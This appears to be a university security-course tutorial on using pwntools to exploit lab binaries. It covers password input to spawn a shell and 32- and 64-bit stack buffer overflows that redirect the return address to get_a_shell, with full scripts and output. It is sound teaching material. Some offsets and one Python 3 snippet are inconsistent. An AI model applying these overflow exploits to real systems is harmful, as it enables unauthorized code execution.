889 views
# candl: pwntools tutorial (cs4301) For solving future challenges, we will utilize Python scripts and [pwntools] to interact with the program. This will be easier than using file redirection or pipe, for example, ```bash= ./bof-level5 < input.txt # or (cat input.txt; cat) | ./bof-level5 ``` because an integrated script will let you have more freedom on controlling inputs and reading outputs to/from the target program. To learn how to use [pwntools] with Python script, let's solve unit1 level0 again using pwntools. As we all know, the program prints an output for asking the password, and on getting p4sSw0Rd as the password, the program will execute a shell. Let's do it. ## Unit 1 - level0 To use [pwntools], you need to import them in your script. ```python= from pwn import * ``` This single line of script will import all related tools that you can utilize. To open a process (i.e., execute a program), you can create a process object with a path as argument. For example, if you want to execute 'level0' in this directory and get the handle: ```python-repl= p = process("./level0") # to create a writable directory, you can run the 'fetch unitX' command # where you put 'X' to create unitX's directories under your home directory. ``` After that, you can receive a program's output by the following function call: ```python-repl= output = p.recv(0x100) ``` the `recv()` function will get an expected size of output as an argument. The function will do best effort on reading output upto the specified size, however, if the output cuts off before reaching the size (e.g., having a newline), the `recv()` will stop and return the result. Let's print the output. ```python= #!/usr/bin/env python from pwn import * p = process("./level0") output = p.recv(0x100) print(output.decode()) ``` Running the script will print the output as expected: ```bash= $ python ex_level0.py [+] Starting local process './level0': pid 25141 What's the password? ``` Next, we need to send an input to the program, and we would like to send `p4sSw0Rd`. Let's do this, and let's open an interactive communication between your keyboard input to the program at the end because by receiving the password, the program will execute a shell and we would like to play with that shell. To do that, we will use function `p.send(str)` and `p.interactive()`. `p.send(str)` will send the string argument as an input to the program, and `p.interactive()` will let you communicate with the program via keyboard and console screen. ```python= #!/usr/bin/env python3 from pwn import * p = process("./level0") output = p.recv(0x100) print(output.decode()) # adding newline to pass the input to scanf or use p.sendline() p.send("p4sSw0Rd\n") p.interactive() ``` By running the script, you can get a shell: ```bash= $ python ex_level0.py [+] Starting local process './level0': pid 25913 What's the password? [*] Switching to interactive mode Correct! Spawning a privileged shell $ id uid=1001(syssecuser) gid=10000(unit1-level0-solved) groups=10000(unit1-level0-solved),1001(syssecuser) $ ``` ## Unit2: bof-level2 Let's solve bof-level2. We will use following functions to solve this challenge: ```python= process() # creating a process object to run the program p.send() # send an input to the program p.sendline() # send an input attached with a newline to the argument p.recv() # get an output from the program p.interactive() # open an interactive stream to control the shell after your attack works ELF() # load program e.symbols['get_a_shell'] # getting address of the function named as 'get_a_shell' p32() # transform an integer value to a little endian 32-bit string ``` In bof-level2, we need to overflow the buffer at `-0x80(%ebp)` and run the `get_a_shell()` function by overwriting the return address. We can get the number of bytes to write from assembly: ```= buffer is at `-0x20(%ebp)`. Buffer size : 20 bytes. ``` We need to overwrite 4 more bytes to overwrite saved ebp. After that, we can overwrite the return address. So we need: `AAAAA.....AAAA` (36 bytes) + `return_address_of(get_a_shell)`. Let's open the program and send an input first. ```python= #!/usr/bin/env python3 from pwn import * # open process p = process("./bof-level2") # print output print(p.recv(0x200)) string = b"A"*36 + b"_RET" # return address is not ready yet # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() ``` The result will be: ```bash= $ python ex_bof_level2.py [+] Starting local process './bof-level2': pid 17274 Your variables are: a = 0x41414141 b = 0x42424242 Are you happy with such values? Type YES if you agree with this... (a fake message) [*] Switching to interactive mode Now your variables are: a = 0x41414141 b = 0x41414141 Analyze the program! [*] Got EOF while reading in interactive $ [*] Process './bof-level2' stopped with exit code -11 (SIGSEGV) (pid 17274) [*] Got EOF while sending in interactive ``` Yes, because we put a wrong return address, it crashes. Next, we will get the address of `get_a_shell()`. To do this, we will use ELF object, which loads and analyze the program and then let us access some properties of the program. ```python= e = ELF("./bof-level2") ``` This will open and load the program as an ELF object. `e.symbols['get_a_shell']` will give you the address of the function. Let's write the code as follows: ```python= #!/usr/bin/env python3 from pwn import * # open process p = process("./bof-level2") # print output print(p.recv(0x200)) # load the program as an ELF object e = ELF("./bof-level2") # get the address of get_a_shell get_a_shell = e.symbols['get_a_shell'] # the address is in integer, so it prints a decimal value print(get_a_shell) # you can print hexadecimal value with hex() print(hex(get_a_shell)) # because the value is integer, you should use `p32(get_a_shell)` to # change that as a little endian encoding. # # e.g., p32(0x8048500) -> "\x00\x85\x04\x08" # # You can output this by running: print(repr(p32(get_a_shell))) string = "A"*36 + p32(get_a_shell) # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() ``` The result will be: ```bash= $ python ex_bof_level2.py [+] Starting local process './bof-level2': pid 17332 Your variables are: a = 0x41414141 b = 0x42424242 Are you happy with such values? Type YES if you agree with this... (a fake message) [*] '/home/users/red9057/unit2/bof-level2/bof-level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 134513920 0x8048500 '\x00\x85\x04\x08' [*] Switching to interactive mode Now your variables are: a = 0x41414141 b = 0x41414141 Analyze the program! Spawning a privileged shell $ id uid=1006(red9057) gid=50202(unit2-level2-ok) groups=50202(unit2-level2-ok),1006(red9057) ``` ## Unit2: bof-level3 Now it is the time for a 64bit challenge. For 64bit, we need to use 8 byte address format, so instead of [p32()], we need to use [p64()]. This is because registers in 64 bit systems are 8 bytes long. In the program, the buffer is at `-0x30(%rbp)`. In order to overwrite the return address, we need to fill 48 bytes, 8 more bytes for saved `%rbp`, and after that, we can overwrite the return address. In other words, `AAAA.....AAAAA` (56 bytes) + `p64(<8 byte return address>)` will be our input. level3 is similar to level2, but instead of a 4 byte little-endian string, we use an 8-byte little endian string, with [p64()] instead. Following is the code snippet for that: ```python= #!/usr/bin/env python3 from pwn import * # open process p = process("./bof-level3") # print output print(p.recv(0x200)) # load the program as an ELF object e = ELF("./bof-level3") # get the address of get_a_shell get_a_shell = e.symbols['get_a_shell'] # the address is in integer, so it prints a decimal value print(get_a_shell) # you can print hexadecimal value with hex() print(hex(get_a_shell)) # because the value is integer, you should use p64(get_a_shell) to # change that as a little endian string. # e.g., p64(0x400640) -> "\x40\x06\x40\x00\x00\x00\x00\x00" # You can check this by running: print(repr(p64(get_a_shell))) string = b"A"*56 + p64(get_a_shell) # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() ``` The code above is how to overwrite the return address. Can you modify the code above such that it fits the constraints for bof-level3? How can you set `a = 0x6867666564636261 and b = 0x4847464544434241`? <details> <summary><b>Hint #1</b></summary> is the program modifying a & b values after you input them? </details> <details> <summary><b>Hint #2</b></summary> what else might the program be modifying or checking? </details> ----- ###### tags: `candl`,`cs4301`,`pwntools`,`s22`,`s23`,`pwntools` [pwntools]:http://docs.pwntools.com/en/stable/ [p32()]:https://docs.pwntools.com/en/stable/util/packing.html#pwnlib.util.packing.p32 [p64()]:https://docs.pwntools.com/en/stable/util/packing.html#pwnlib.util.packing.p64